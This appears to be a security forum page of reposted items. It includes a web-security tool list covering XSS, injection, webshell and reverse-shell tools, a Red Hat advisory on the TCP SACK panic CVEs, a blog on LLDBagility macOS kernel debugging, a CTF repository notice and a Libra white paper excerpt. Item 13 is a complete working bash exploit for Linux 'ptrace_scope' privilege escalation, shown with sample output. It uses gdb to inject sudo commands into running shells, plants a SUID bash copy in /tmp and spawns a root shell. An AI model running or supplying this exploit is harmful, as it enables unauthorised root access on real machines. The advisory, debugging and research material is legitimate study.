charsetinspect - Script that inspects multi-byte character sets looking for characters with specific user-defined properties by @hack-all-the-things. IPObfuscator - Simple tool to convert the IP to a DWORD IP by @OsandaMalith. domato - DOM fuzzer by @google. FuzzDB - Dictionary of attack patterns and primitives for black-box application fault injection and resource discovery. dirhunt - Web crawler optimized for searching and analyzing the directory structure of a site by @nekmo. ssltest - Online service that performs a deep analysis of the configuration of any SSL web server on the public internet. Provided by Qualys SSL Labs. fuzz.txt - Potentially dangerous files by @Bo0oM. Scanning wpscan - WPScan is a black box WordPress vulnerability scanner by @wpscanteam. JoomlaScan - Free software to find the components installed in Joomla CMS, built out of the ashes of Joomscan by @drego85. WAScan - Is an open source web application security scanner that uses "black-box" method, created by @m4ll0k. Penetration Testing Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications by portswigger. TIDoS-Framework - A comprehensive web application audit framework to cover up everything from Reconnaissance and OSINT to Vulnerability Analysis by @_tID. Astra - Automated Security Testing For REST API's by @flipkart-incubator. aws_pwn - A collection of AWS penetration testing junk by @dagrz. grayhatwarfare - Public buckets by grayhatwarfare. Offensive XSS - Cross-Site Scripting beef - The Browser Exploitation Framework Project by beefproject. JShell - Get a JavaScript shell with XSS by @s0md3v. XSStrike - XSStrike is a program which can fuzz and bruteforce parameters for XSS. It can also detect and bypass WAFs by @s0md3v. xssor2 - XSS'OR - Hack with JavaScript by @evilcos. SQL Injection sqlmap - Automatic SQL injection and database takeover tool. Template Injection tplmap - Code and Server-Side Template Injection Detection and Exploitation Tool by @epinna. XXE dtd-finder - List DTDs and generate XXE payloads using those local DTDs by @GoSecure. Cross Site Request Forgery XSRFProbe - The Prime CSRF Audit & Exploitation Toolkit by @0xInfection. Server-Side Request Forgery Open redirect/SSRF payload generator - Open redirect/SSRF payload generator by intigriti. Leaking HTTPLeaks - All possible ways, a website can leak HTTP requests by @cure53. dvcs-ripper - Rip web accessible (distributed) version control systems: SVN/GIT/HG... by @kost. DVCS-Pillage - Pillage web accessible GIT, HG and BZR repositories by @evilpacket. GitMiner - Tool for advanced mining for content on Github by @UnkL4b. gitleaks - Searches full repo history for secrets and keys by @zricethezav. CSS-Keylogging - Chrome extension and Express server that exploits keylogging abilities of CSS by @maxchehab. pwngitmanager - Git manager for pentesters by @allyshka. snallygaster - Tool to scan for secret files on HTTP servers by @hannob. LinkFinder - Python script that finds endpoints in JavaScript files by @GerbenJavado. Detecting sqlchop - SQL injection detection engine by chaitin. xsschop - XSS detection engine by chaitin. retire.js - Scanner detecting the use of JavaScript libraries with known vulnerabilities by @RetireJS. malware-jail - Sandbox for semi-automatic Javascript malware analysis, deobfuscation and payload extraction by @HynekPetrak. repo-supervisor - Scan your code for security misconfiguration, search for passwords and secrets. bXSS - bXSS is a simple Blind XSS application adapted from cure53.de/m by @LewisArdern. OpenRASP - An open source RASP solution actively maintained by Baidu Inc. With context-aware detection algorithm the project achieved nearly no false positives. And less than 3% performance reduction is observed under heavy server load. GuardRails - A GitHub App that provides security feedback in Pull Requests. Preventing DOMPurify - DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG by Cure53. js-xss - Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist by @leizongmin. Acra - Client-side encryption engine for SQL databases, with strong selective encryption, SQL injections prevention and intrusion detection by @cossacklabs. Proxy Charles - HTTP proxy / HTTP monitor / Reverse Proxy that enables a developer to view all of the HTTP and SSL / HTTPS traffic between their machine and the Internet. mitmproxy - Interactive TLS-capable intercepting HTTP proxy for penetration testers and software developers by @mitmproxy. Webshell nano - Family of code golfed PHP shells by @s0md3v. webshell - This is a webshell open source project by @tennc. Weevely - Weaponized web shell by @epinna. Webshell-Sniper - Manage your website via terminal by @WangYihang. Reverse-Shell-Manager - Reverse Shell Manager via Terminal @WangYihang. reverse-shell - Reverse Shell as a Service by @lukechilds. Disassembler plasma - Plasma is an interactive disassembler for x86/ARM/MIPS by @plasma-disassembler. radare2 - Unix-like reverse engineering framework and commandline tools by @radare. Iaitō - Qt and C++ GUI for radare2 reverse engineering framework by @hteso. Decompiler CFR - Another java decompiler by @LeeAtBenf. DNS Rebinding DNS Rebind Toolkit - DNS Rebind Toolkit is a frontend JavaScript framework for developing DNS Rebinding exploits against vulnerable hosts and services on a local area network (LAN) by @brannondorsey dref - DNS Rebinding Exploitation Framework. Dref does the heavy-lifting for DNS rebinding by @mwrlabs Singularity of Origin - It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine by @nccgroup Whonow DNS Server - A malicious DNS server for executing DNS Rebinding attacks on the fly by @brannondorsey Others Dnslogger - DNS Logger by @iagox86. CyberChef - The Cyber Swiss Army Knife - a web app for encryption, encoding, compression and data analysis - by @GCHQ. ntlm_challenger - Parse NTLM over HTTP challenge messages by @b17zr. cefdebug - Minimal code to connect to a CEF debugger by @taviso. ctftool - Interactive CTF Exploration Tool by @taviso. Social Engineering Database haveibeenpwned - Check if you have an account that has been compromised in a data breach by Troy Hunt. Blogs Orange - Taiwan's talented web penetrator. leavesongs - China's talented web penetrator. James Kettle - Head of Research at PortSwigger Web Security. Broken Browser - Fun with Browser Vulnerabilities. Scrutiny - Internet Security through Web Browsers by Dhiraj Mishra. BRETT BUERHAUS - Vulnerability disclosures and rambles on application security. n0tr00t - ~# n0tr00t Security Team. OpnSec - Open Mind Security! RIPS Technologies - Write-ups for PHP vulnerabilities. 0Day Labs - Awesome bug-bounty and challenges writeups. Blog of Osanda - Security Researching and Reverse Engineering. Twitter Users @HackwithGitHub - Initiative to showcase open source hacking tools for hackers and pentesters @filedescriptor - Active penetrator often tweets and writes useful articles @cure53berlin - Cure53 is a German cybersecurity firm. @XssPayloads - The wonderland of JavaScript unexpected usages, and more. @kinugawamasato - Japanese web penetrator. @h3xstream - Security Researcher, interested in web security, crypto, pentest, static analysis but most of all, samy is my hero. @garethheyes - English web penetrator. @hasegawayosuke - Japanese javascript security researcher. @shhnjk - Web and Browsers Security Researcher. Practices Application OWASP Juice Shop - Probably the most modern and sophisticated insecure web application - Written by @bkimminich and the @owasp_juiceshop team. BadLibrary - Vulnerable web application for training - Written by @SecureSkyTechnology. Hackxor - Realistic web application hacking game - Written by @albinowax. SELinux Game - Learn SELinux by doing. Solve Puzzles, show skillz - Written by @selinuxgame. Portswigger Web Security Academy - Free trainings and labs - Written by PortSwigger. AWS FLAWS - Amazon AWS CTF challenge - Written by @0xdabbad00. CloudGoat - Rhino Security Labs' "Vulnerable by Design" AWS infrastructure setup tool - Written by @RhinoSecurityLabs. XSS XSS game - Google XSS Challenge - Written by Google. prompt(1) to win - Complex 16-Level XSS Challenge held in summer 2014 (+4 Hidden Levels) - Written by @cure53. alert(1) to win - Series of XSS challenges - Written by @steike. XSS Challenges - Series of XSS challenges - Written by yamagata21. ModSecurity / OWASP ModSecurity Core Rule Set ModSecurity / OWASP ModSecurity Core Rule Set - Series of tutorials to install, configure and tune ModSecurity and the Core Rule Set - Written by @ChrFolini. Community Reddit Stack Overflow Miscellaneous awesome-bug-bounty - Comprehensive curated list of available Bug Bounty & Disclosure Programs and write-ups by @djadmin. bug-bounty-reference - List of bug bounty write-up that is categorized by the bug nature by @ngalongc. Google VRP and Unicorns - Written by Daniel Stelter-Gliese. Brute Forcing Your Facebook Email and Phone Number - Written by PwnDizzle. Pentest + Exploit dev Cheatsheet wallpaper - Penetration Testing and Exploit Dev CheatSheet. The Definitive Security Data Science and Machine Learning Guide - Written by JASON TROS. EQGRP - Decrypted content of eqgrp-auction-file.tar.xz by @x0rz. notes - Some public notes by @ChALkeR. A glimpse into GitHub's Bug Bounty workflow - Written by @gregose. Cybersecurity Campaign Playbook - Written by Belfer Center for Science and International Affairs. Infosec_Reference - Information Security Reference That Doesn't Suck by @rmusser01. Internet of Things Scanner - Check if your internet-connected devices at home are public on Shodan by BullGuard. The Bug Hunters Methodology v2.1 - Written by @jhaddix. $7.5k Google services mix-up - Written by Ezequiel Pereira. How I exploited ACME TLS-SNI-01 issuing Let's Encrypt SSL-certs for any domain using shared hosting - Written by @fransrosen. TL:DR: VPN leaks users’ IPs via WebRTC. I’ve tested seventy VPN providers and 16 of them leaks users’ IPs via WebRTC (23%) - Written by voidsec. Escape and Evasion Egressing Restricted Networks - Written by Chris Patten, Tom Steele. Be careful what you copy: Invisibly inserting usernames into text with Zero-Width Characters - Written by @umpox. Domato Fuzzer's Generation Engine Internals - Written by sigpwn. CSS Is So Overpowered It Can Deanonymize Facebook Users - Written by Ruslan Habalov. Introduction to Web Application Security - Written by @itsC0rg1, @jmkeads and @matir. Finding The Real Origin IPs Hiding Behind CloudFlare or TOR - Written by Paul Dannewitz. Why Facebook's api starts with a for loop - Written by @AntoGarand. How I could have stolen your photos from Google - my first 3 bug bounty writeups - Written by @gergoturcsanyi. An example why NAT is NOT security - Written by @0daywork. WEB APPLICATION PENETRATION TESTING NOTES - Written by Jayson. Hacking with a Heads Up Display - Written by David Scrobonia. Alexa Top 1 Million Security - Hacking the Big Ones - Written by @slashcrypto. The bug bounty program that changed my life - Written by Gwen. List of bug bounty writeups - Written by Mariem. Code of Conduct Please note that this project is released with a Contributor Code of Conduct. By participating in this project you agree to abide by its terms. License To the extent possible under law, @qazbnm456 has waived all copyright and related or neighboring rights to this work. Sursa: https://github.com/qazbnm456/awesome-web-security/blob/master/README.md
  13. #!/usr/bin/env bash ####################################################### # # # 'ptrace_scope' misconfiguration # # Local Privilege Escalation # # # ####################################################### # Affected operating systems (TESTED): # Parrot Home/Workstation 4.6 (Latest Version) # Parrot Security 4.6 (Latest Version) # CentOS / RedHat 7.6 (Latest Version) # Kali Linux 2018.4 (Latest Version) # Authors: Marcelo Vazquez (s4vitar) # Victor Lasa (vowkin) #┌─[s4vitar@parrot]─[~/Desktop/Exploit/Privesc] #└──╼ $./exploit.sh # #[*] Checking if 'ptrace_scope' is set to 0... [√] #[*] Checking if 'GDB' is installed... [√] #[*] System seems vulnerable! [√] # #[*] Starting attack... #[*] PID -> sh #[*] Path 824: /home/s4vitar #[*] PID -> bash #[*] Path 832: /home/s4vitar/Desktop/Exploit/Privesc #[*] PID -> sh #[*] Path #[*] PID -> sh #[*] Path #[*] PID -> sh #[*] Path #[*] PID -> sh #[*] Path #[*] PID -> bash #[*] Path 1816: /home/s4vitar/Desktop/Exploit/Privesc #[*] PID -> bash #[*] Path 1842: /home/s4vitar #[*] PID -> bash #[*] Path 1852: /home/s4vitar/Desktop/Exploit/Privesc #[*] PID -> bash #[*] Path 1857: /home/s4vitar/Desktop/Exploit/Privesc # #[*] Cleaning up... [√] #[*] Spawning root shell... [√] # #bash-4.4# whoami #root #bash-4.4# id #uid=1000(s4vitar) gid=1000(s4vitar) euid=0(root) egid=0(root) grupos=0(root),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(debian-tor),124(bluetooth),136(scanner),1000(s4vitar) #bash-4.4# function startAttack(){ tput civis && pgrep "^(echo $(cat /etc/shells | tr '/' ' ' | awk 'NF{print $NF}' | tr '\n' '|'))$" -u "$(id -u)" | sed '$ d' | while read shell_pid; do if [ $(cat /proc/$shell_pid/comm 2>/dev/null) ] || [ $(pwdx $shell_pid 2>/dev/null) ]; then echo "[*] PID -> "$(cat "/proc/$shell_pid/comm" 2>/dev/null) echo "[*] Path $(pwdx $shell_pid 2>/dev/null)" fi; echo 'call system("echo | sudo -S cp /bin/bash /tmp >/dev/null 2>&1 && echo | sudo -S chmod +s /tmp/bash >/dev/null 2>&1")' | gdb -q -n -p "$shell_pid" >/dev/null 2>&1 done if [ -f /tmp/bash ]; then /tmp/bash -p -c 'echo -ne "\n[*] Cleaning up..." rm /tmp/bash echo -e " [√]" echo -ne "[*] Spawning root shell..." echo -e " [√]\n" tput cnorm && bash -p' else echo -e "\n[*] Could not copy SUID to /tmp/bash [✗]" fi } echo -ne "[*] Checking if 'ptrace_scope' is set to 0..." if grep -q "0" < /proc/sys/kernel/yama/ptrace_scope; then echo " [√]" echo -ne "[*] Checking if 'GDB' is installed..." if command -v gdb >/dev/null 2>&1; then echo -e " [√]" echo -e "[*] System seems vulnerable! [√]\n" echo -e "[*] Starting attack..." startAttack else echo " [✗]" echo "[*] System is NOT vulnerable :( [✗]" fi else echo " [✗]" echo "[*] System is NOT vulnerable :( [✗]" fi; tput cnorm Sursa: https://www.exploit-db.com/exploits/46989?utm_source=dlvr.it&utm_medium=twitter
  14. Facebook CTF 2019 Challenges This repository contains the challenge source code and solutions for Facebook CTF 2019. Sursa: https://github.com/fbsamples/fbctf-2019-challenges
  15. Executive Summary Three related flaws were found in the Linux kernel’s handling of TCP networking. The most severe vulnerability could allow a remote attacker to trigger a kernel panic in systems running the affected software and, as a result, impact the system’s availability. The issues have been assigned multiple CVEs: CVE-2019-11477 is considered an Important severity, whereas CVE-2019-11478 and CVE-2019-11479 are considered a Moderate severity. The first two are related to the Selective Acknowledgement (SACK) packets combined with Maximum Segment Size (MSS), the third solely with the Maximum Segment Size (MSS). These issues are corrected either through applying mitigations or kernel patches. Mitigation details and links to RHSA advsories can be found on the RESOLVE tab of this article. Issue Details and Background Three related flaws were found in the Linux kernel’s handling of TCP Selective Acknowledgement (SACK) packets handling with low MSS size. The extent of impact is understood to be limited to denial of service at this time. No privilege escalation or information leak is currently suspected. While mitigations shown in this article are available, they might affect traffic from legitimate sources that require the lower MSS values to transmit correctly and system performance. Please evaluate the mitigation that is appropriate for the system’s environment before applying. What is a selective acknowledgement ? TCP Selective Acknowledgment (SACK) is a mechanism where the data receiver can inform the sender about all the segments that have successfully been accepted. This allows the sender to retransmit segments of the stream that are missing from its ‘known good’ set. When TCP SACK is disabled a much larger set of retransmits are required to retransmit a complete stream. What is MSS The maximum segment size (MSS) is a parameter set in the TCP header of a packet that specifies the total amount of data contained in a reconstructed TCP segment. As packets might become fragmented when transmitting across different routes, a host must specify the MSS as equal to the largest IP datagram payload size that a host can handle. Very large MSS sizes might mean that a stream of packets ends up fragmented on their way to the destination, whereas smaller packets can ensure less fragmentation but end up with unused overhead. Operating systems and transport types can default to specified MSS sizes. Attackers with privileged access can create raw packets with crafted MSS options in the packet to create this attack. TCP SACKs: TCP is a connection oriented protocol. When two parties wish to communicate over a TCP connection, they establish a connection by exchanging certain information such as requesting to initiate (SYN) a connection, initial sequence number, acknowledgement number, maximum segment size (MSS) to use over this connection, permission to send and process Selective Acknowledgements(SACKs), etc. This connection establishment process is known as 3-way handshake. TCP sends and receives user data by a unit called Segment. A TCP segment consists of TCP Header, Options and user data. Each TCP segment has a Sequence Number (SEQ) and Acknowledgement Number (ACK). These SEQ & ACK numbers are used to track which segments are successfully received by the receiver. ACK number indicates the next expected segment by the receiver. Example: user ‘A’ above sends 1 kilobytes of data through 13 segments of 100 bytes each, 13 because each segment has TCP header of 20 bytes. On the receiving end, user ‘B’ receives segments 1, 2, 4, 6, 8 - 13, segments 3, 5 and 7 are lost, not received by user ‘B’. By using ACK numbers, user ‘B’ will indicate that it is expecting segment number 3, which the user ‘A’ reads as none of the segments after 2 were received by the user ‘B’,and user ‘A’ will retransmit all the segments from 3 onwards, even though segments 4, 6 and 8-13 were successfully received by user ‘B’. User ‘B’ has no way to indicate that to user ‘A’. This leads to an inefficient usage of the network. Selective Acknowledgement: SACK To overcome above problem, Selective Acknowledgement(SACK) mechanism was devised and defined by RFC-2018. With Selective Acknowledgement(SACK), user ‘B’ above uses its TCP options field to inform user ‘A’ about all the segments(1,2,4,6,8-13) it has received successfully, so user ‘A’ needs to retransmit only segments 3, 5, and 7, thus considerably saving the network bandwidth and avoiding further congestion. CVE-2019-11477 SACK Panic: Socket Buffers(SKB😞 Socket Buffer (SKB) is the most central data structure used in the Linux TCP/IP implementation. It is a linked list of buffers, which holds network packets. Such list can act as a Transmission queue, Receive queue, SACK’d queue, Retransmission queue, etc. SKB can hold packet data into fragments. Linux SKB can hold up to 17 fragments. linux/include/linux/skbuff.h define MAX_SKB_FRAGS (65536/PAGE_SIZE + 1) => 17 With each fragment holding up to 32KB on x86 (64KB on PowerPC) of data. When packet is due to be sent, it’s placed on the Send queue and it’s details are kept in a control buffer structure like linux/include/linux/skbuff.h struct tcp_skb_cb { __u32 seq; /* Starting sequence number */ __u32 end_seq; /* SEQ + FIN + SYN + datalen */ __u32 tcp_tw_isn; struct { u16 tcp_gso_segs; u16 tcp_gso_size; }; __u8 tcp_flags; /2* TCP header flags. (tcp[13]) */ … } Of these, ‘tcp_gso_segs’ and ‘tcp_gso_size’ fields are used to tell device driver about segmentation offload. When Segmentation offload is on and SACK mechanism is also enabled, due to packet loss and selective retransmission of some packets, SKB could end up holding multiple packets, counted by ‘tcp_gso_segs’. Multiple such SKB in the list are merged together into one to efficiently process different SACK blocks. It involves moving data from one SKB to another in the list. During this movement of data, the SKB structure can reach its maximum limit of 17 fragments and ‘tcp_gso_segs’ parameter can overflow and hit the BUG_ON() call below resulting in the said kernel panic issue. static bool tcp_shifted_skb (struct sock *sk, …, unsigned int pcount, ...) { ... tcp_skb_pcount_add(prev, pcount); BUG_ON(tcp_skb_pcount(skb) < pcount); <= SACK panic tcp_skb_pcount_add(skb, -pcount); … } A remote user can trigger this issue by setting the Maximum Segment Size(MSS) of a TCP connection to its lowest limit of 48 bytes and sending a sequence of specially crafted SACK packets. Lowest MSS leaves merely 8 bytes of data per segment, thus increasing the number of TCP segments required to send all data. Acknowledgements Jonathan Looney (Netflix Information Security) References RFC-2018 - TCP selective acknowledgments How SKB’s work Netflix (reporters) original report. Sursa: https://access.redhat.com/security/vulnerabilities/tcpsack
      • 1
      • Upvote
  16. LLDBagility: practical macOS kernel debugging Date Tue 18 June 2019 By Francesco Cagnin Category macOS. Tags macOS XNU kernel hypervisor debugging FDP LLDBagility This is the second of two blog posts about macOS kernel debugging. In the previous post, we defined most of the terminology used in both articles, described how kernel debugging is implemented for the macOS kernel and discussed the limitations of the available tools; here, we present LLDBagility, our solution for an easier and more functional macOS debugging experience. As the reader may have concluded after reading the previous blog post [1], in the current state of things debugging the macOS kernel (XNU) is not very practical, especially considering inconveniences like having to install debug kernel builds and the impossibility to set watchpoints or pause the execution of the kernel from the debugger. To improve the situation, we developed LLDBagility [2], a tool for debugging macOS virtual machines with the aid of the Fast Debugging Protocol (FDP, described later in the article). Above all else, LLDBagility implements a set of new LLDB commands that allow the debugger to: attach to running macOS VirtualBox virtual machines and debug their kernel, stealthily, without the need of changing the guest OS (e.g. no necessity of DEVELOPMENT or DEBUG kernels, boot-args modification or SIP disabling) and with minimal changes to the configuration of the VM [3]; interrupt (and later resume) the execution of the guest kernel at any moment; set hardware breakpoints anywhere in kernel code, even at the start of the boot process; set hardware watchpoints that trigger on read and/or write accesses of the specified memory locations; save and restore the state of the VM in a few seconds. These commands are intended to be used alongside the ones already available in LLDB, like memory/register read/write, breakpoint (software), step and so on. Moreover, in case the debugged kernel comes with its Kernel Debug Kit (and possibly even when it doesn't, as discussed later), the vast majority of lldbmacros work as expected. In the next sections, we first briefly describe what FDP is and how it enhances VirtualBox to enable virtual machine introspection; then, we examine how LLDBagility takes advantage of these new capabilities to connect transparently LLDB to macOS virtual machines, and demonstrate a simple kernel debugging session; finally, we present some ideas for using existing lldbmacros with kernel builds lacking a debug kit. Virtual machine introspection via the Fast Debugging Protocol The Fast Debugging Protocol [4] is a light, fast and efficient debugging API for stealthy introspection of virtual machines, written in C and currently only released as a patch to VirtualBox's source code [FDP]. This API makes it possible to: read and write VMs registers and memory; set and unset hardware/software breakpoints and watchpoints; pause, resume and single-step the execution of the virtual machines; save and restore the VMs state. FDP's stealthiness comes from the manipulation of the Extended Page Tables of the virtual machines (operation that can be very difficult to detect from the guests), while speed is the result of using shared memory between FDP and the VMs (reaching in some cases one million of memory reads per second). In addition to the low-level C interface, the API also provides Python bindings (PyFDP) that can be useful both for quick proof of concepts and for bigger projects like LLDBagility; as an example, here is a script that breaks on every system call: #!/usr/bin/env python2 from PyFDP.FDP import FDP # Open the debuggee VM by its name fdp = FDP("18E226") # Pause the VM to install a breakpoint fdp.Pause() # Install a hardware breakpoint (very fast and stealth) UnixSyscall64 = 0xffffff80115bae84 fdp.dr0 = UnixSyscall64 fdp.dr7 = 0x403 # Resume the execution after the breakpoint installation fdp.Resume() while True: # Wait for a breakpoint hit fdp.WaitForStateChanged() print "%x" % (fdp.rax) # Jump over the breakpoint fdp.SingleStep() # Resume the debuggee fdp.Resume() More details about FDP can be found in the original article on Winbagility [4] (in French) [WinbagilitySSTIC2016], LLDBagility's older counterpart for Windows and WinDbg. Attaching LLDB to virtual machines As presented at length in the previous post, during regular two-machine debugging, LLDB interacts with the macOS kernel of the debuggee by sending commands to its internal KDP stub, which, being itself part of the kernel, is then able to inspect and alter the state of the machine as requested and communicate back the results. The key idea behind LLDBagility is to replicate the functionalities provided by such agent using the analogous capabilities of (virtual) machine introspection and modification offered by FDP at the hypervisor level, so that the kernel's debugging stub can be replaced by an equivalent alternative external to the debugged machine. In addition, by maintaining compatibility with the KDP protocol, this new stub can take advantage of LLDB's existing support for the macOS kernel without modifying the debugger in any aspect, since there's no difference in communications with respect to the KDP server in the kernel. In this regard, Ian Beer used an analogous solution for his iOS kernel debugger [5]. This approach brings in two notable advantages: the elimination of the necessity of enabling KDP in the kernel for debugging, and the possibility of augmenting LLDBagility's stub with additional features: all the limitations of the classic debugging method described in the first blog post can now be overcome. First of all, since setting up XNU for debugging is not required anymore, it becomes unnecessary to modify the NVRAM and possibly disabling SIP; likewise, there is also no need to install DEBUG or DEVELOPMENT builds. Secondly, all system-wide side effects related to KDP code disappear, implying for example a more difficult debugger detection by rootkits. Thirdly, debugging can now start before the initialisation of the KDP stub during the kernel boot process. Finally, having complete control over the machine thanks to FDP makes it easy to implement hardware breakpoints, watchpoints and a mechanism for pausing the kernel at debugger's command. Overview of the tool As mentioned in the introduction, LLDBagility's front end is a set of new LLDB commands, implemented in lldbagility.py (from [LLDBagility100]😞 fdp-attach or simply fa, to connect the debugger to a running macOS VirtualBox virtual machine; fdp-hbreakpoint or fh, to set and unset read/write/execute hardware breakpoints; fdp-interrupt or fi, to pause the execution of the VM and return the control to the debugger (equivalent to the known sudo dtrace -w -n "BEGIN { breakpoint(); }"); fdp-save or fs, to save the current state of the VM; fdp-restore or fr, to restore the VM to the last saved state. On the other hand, the back end is composed of: kdpserver.py, the new KDP server (replacement of XNU's) to which LLDB is connected, whose job is to translate the KDP requests received by the debugger into commands for the VM and send back responses and exception notifications (e.g. breakpoint hits); stubvm.py, for abstracting common VM operations and actualising them with FDP. The connection between LLDB and the virtual machine to debug is established on fdp-attach. When the user executes this command, LLDBagility: instantiates a PyFDP client for interacting with the VM (lldbagility.py#L73); starts its own KDP server on a secondary thread (lldbagility.py#L93), waiting for requests (kdpserver.py#L182); executes the LLDB command kdp-remote to connect the debugger to the KDP server that has just started (lldbagility.py#L99, procedure explained in detail in the first blog post), kicking off the debugging process. As a last interesting note, the translation of KDP requests into corresponding FDP commands is not sufficient to have lldbmacros working correctly. In fact, such macros rely on the ability to use some fields of the kdp struct (osfmk/kdp/kdp_internal.h#L41/#L55, tools/lldbmacros/core/operating_system.py#L777 both from [XNU49032212]), populated by the kernel only when its KDP stub is enabled (e.g. osfmk/kdp/kdp_udp.c#L1349). LLDBagility obviates the problem by hooking memory reads from the debugger to the kdp struct and returning a patched memory chunk in which necessary fields (e.g. kdp_thread) are filled with proper values (stubvm.py#L242). Demo The following video demonstrates a quick debugging session with LLDBagility: In summary: LLDB is started and fdp-attach'ed to the virtual machine named "18E226" running in background; the lldbmacros (automatically loaded from .lldbinit) showcurrentthreads and showrights are executed; the execution of the VM is resumed with the continue command and then quickly interrupted with fdp-interrupt; the state of the VM is first saved with fdp-save, then modified by simply resuming the machine execution, and finally restored with fdp-restore; a read and write watchpoint is set with fdp-hbreakpoint on &(*(boot_args*)PE_state.bootArgs).flags, which triggers immediately thereafter inside csr_check(). Reusing debug information between kernels In this last section we explore some ideas about debugging kernels with lldbmacros coming from a Kernel Debug Kit released for a different kernel build. The methods proposed here have their obvious limitations, but they also have been proven to work sufficiently well and are worth a shot; see KDKutils/ for code and examples. As mentioned in the first post, the absence of KDKs for most kernel builds makes debugging more difficult, since in such cases types information and lldbmacros are not available. Luckily, the debug information required by these macros to work correctly comprises a relatively small number of global variables and structs, like version (config/version.c#L40) and kdp, whose definitions do not change much (or at all) from one kernel version to the next. In this light, it seems reasonable to try to reuse debug information from available KDKs so that most features of existing lldbmacros can be used with kernels lacking their own debug kit. As an example, let us assume we have debug information (i.e. the DWARF file generated during compilation) and lldbmacros for kernel build A, but not for build B. With the goal of loading and using A's lldbmacros for debugging B in LLDB, it is possible to provide the debugger with a "fake" DWARF file for kernel B, created by patching A's in such a way that: its Mach-O UUID matches B's instead of A's, and the load addresses of all symbols used by the macros match the virtual load addresses of the same symbols in B's memory at run time. These two small changes should be enough to have most macros working. The simple approach just discussed works well when the symbols used by lldbmacros have very similar definitions in the code of the two kernels, which is naturally the case when they are successive releases. When this does not happen (for example when a field is added or removed from the thread struct), then the workaround above is no longer sufficient, since it becomes necessary to also modify the DWARF file to alter types definitions; but this is not easy. For such cases, it is possible and better to create the fake DWARF from scratch, by first parsing a source DWARF file to extract types information about the structures used by lldbmacros, and then generating C source files containing the types definitions. These sources can easily be edited by hand to modify types as desired and then compiled so that a new DWARF file is created. Before loading it in LLDB, the DWARF file must be patched as above to change its UUID and load address to match the kernel being debugged. Wrapping up With this post, we presented LLDBagility, a convenient alternative to classic macOS kernel debugging based on virtual machine introspection. While not perfect (yet), our solution sets aside or greatly alleviates all current limitations of the standard approach, and at the same time offers powerful additional features that make debugging much more practical. LLDBagility has been actively used at Quarkslab in the past months and it is being released for others to experiment with; feedback via GitHub is welcome and encouraged. Happy debugging! References and footnotes [FDP] Source code of the Fast Debugging Protocol. Available at https://github.com/Winbagility/Winbagility/tree/fe1e38c2cbad6a1fb92dbad3440c6381768aa8cc/src/FDP/, https://github.com/Winbagility/Winbagility/tree/fe1e38c2cbad6a1fb92dbad3440c6381768aa8cc/src/VBoxPatch/ and https://github.com/Winbagility/Winbagility/tree/fe1e38c2cbad6a1fb92dbad3440c6381768aa8cc/bindings/python/ [WinbagilitySSTIC2016] Couffin, Nicolas. (2016). Débogage furtif et introspection de machine virtuelle. Available at https://www.sstic.org/media/SSTIC2016/SSTIC-actes/debogage_furtif_et_introspection_de_machines_virtu/SSTIC2016-Article-debogage_furtif_et_introspection_de_machines_virtuelles-couffin.pdf [LLDBagility100] Source code of LLDBagility 1.0.0. Available at https://github.com/quarkslab/LLDBagility/tree/v1.0.0/ [XNU49032212] Source code of XNU 4903.221.2 from macOS 10.14.1. Available at https://github.com/apple/darwin-xnu/tree/xnu-4903.221.2/ [1] https://blog.quarkslab.com/an-overview-of-macos-kernel-debugging.html [2] https://github.com/quarkslab/LLDBagility/ [3] As per current FDP limitations: the VM must use a single processor and no more than 2 GB of RAM. [4] (1, 2) https://winbagility.github.io/ [5] https://bugs.chromium.org/p/project-zero/issues/detail?id=1417#c16 Sursa: https://blog.quarkslab.com/lldbagility-practical-macos-kernel-debugging.html
  17. Libra’s mission is to enable a simple global currency and financial infrastructure that empowers billions of people. This document outlines our plans for a new decentralized blockchain, a low-volatility cryptocurrency, and a smart contract platform that together aim to create a new opportunity for responsible financial services innovation. Problem Statement The advent of the internet and mobile broadband has empowered billions of people globally to have access to the world's knowledge and information, high-fidelity communications, and a wide range of lower-cost, more convenient services. These services are now accessible using a $40 smartphone from almost anywhere in the world.1 This connectivity has driven economic empowerment by enabling more people to access the financial ecosystem. Working together, technology companies and financial institutions have also found solutions to help increase economic empowerment around the world. Despite this progress, large swaths of the world's population are still left behind — 1.7 billion adults globally remain outside of the financial system with no access to a traditional bank, even though one billion have a mobile phone and nearly half a billion have internet access.2 For too many, parts of the financial system look like telecommunication networks pre-internet. Twenty years ago, the average price to send a text message in Europe was 16 cents per message.3 Now everyone with a smartphone can communicate across the world for free with a basic data plan. Back then, telecommunications prices were high but uniform; whereas today, access to financial services is limited or restricted for those who need it most — those impacted by cost, reliability, and the ability to seamlessly send money. All over the world, people with less money pay more for financial services. Hard-earned income is eroded by fees, from remittances and wire costs to overdraft and ATM charges. Payday loans can charge annualized interest rates of 400 percent or more, and finance charges can be as high as $30 just to borrow $100.4 When people are asked why they remain on the fringe of the existing financial system, those who remain “unbanked” point to not having sufficient funds, high and unpredictable fees, banks being too far away, and lacking the necessary documentation.5 Blockchains and cryptocurrencies have a number of unique properties that can potentially address some of the problems of accessibility and trustworthiness. These include distributed governance, which ensures that no single entity controls the network; open access, which allows anybody with an internet connection to participate; and security through cryptography, which protects the integrity of funds. But the existing blockchain systems have yet to reach mainstream adoption. Mass-market usage of existing blockchains and cryptocurrencies has been hindered by their volatility and lack of scalability, which have, so far, made them poor stores of value and mediums of exchange. Some projects have also aimed to disrupt the existing system and bypass regulation as opposed to innovating on compliance and regulatory fronts to improve the effectiveness of anti-money laundering. We believe that collaborating and innovating with the financial sector, including regulators and experts across a variety of industries, is the only way to ensure that a sustainable, secure and trusted framework underpins this new system. And this approach can deliver a giant leap forward toward a lower-cost, more accessible, more connected global financial system. Sursa: https://libra.org/en-US/white-paper/#introduction
